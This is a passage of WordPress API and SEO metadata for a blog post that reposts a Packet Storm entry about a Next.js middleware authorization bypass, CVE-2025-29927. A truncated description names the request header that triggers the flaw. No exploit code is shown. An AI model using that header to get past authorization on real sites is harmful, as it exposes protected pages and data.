content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-09T16:16:55&#8243;,&#8221;description&#8221;:&#8221;This Python script checks whether a website built with Next.js is vulnerable to CVE\u20112025\u201129927, a middleware authorization bypass flaw triggered by the request header:x-middleware-subrequest&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Next.js...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=39823\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-09T10:52:45+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39823#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39823\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Next.js 15.2.3 Middleware Authorization Bypass_PACKETSTORM:215166\",\"datePublished\":\"2026-02-09T10:52:45+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39823\"},\"wordCount\":1922,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.1\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=39823#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39823\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39823\",\"name\":\"\ud83d\udcc4 Next.js 15.2.3 Middleware Authorization Bypass_PACKETSTORM:215166 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-09T10:52:45+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39823#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=39823\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39823#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Next.js 15.2.3 Middleware Authorization Bypass_PACKETSTORM:215166\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Next.js 15.2.3 Middleware Authorization Bypass_PACKETSTORM:215166 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=39823","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Next.js 15.2.3 Middleware Authorization Bypass_PACKETSTORM:215166 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-09T16:16:55&#8243;,&#8221;description&#8221;:&#8221;This Python script checks whether a website built with Next.js is vulnerable to CVE\u20112025\u201129927, a middleware authorization bypass flaw triggered by the request header:x-middleware-subrequest&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Next.js...","og_url":"https:\/\/zero.redgem.net\/?p=39823","og_site_name":"zero redgem","article_published_time":"2026-02-09T10:52:45+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=39823#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=39823"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Next.js 15.2.3 Middleware Authorization Bypass_PACKETSTORM:215166","datePublished":"2026-02-09T10:52:45+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=39823"},"wordCount":1922,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.1","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=39823#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=39823","url":"https:\/\/zero.redgem.net\/?p=39823","name":"\ud83d\udcc4 Next.js 15.2.3 Middleware Authorization Bypass_PACKETSTORM:215166 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-09T10:52:45+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=39823#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=39823"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=39823#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Next.js 15.2.3 Middleware Authorization Bypass_PACKETSTORM:215166"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/39823","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=39823"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/39823\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=39823"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=39823"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=39823"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}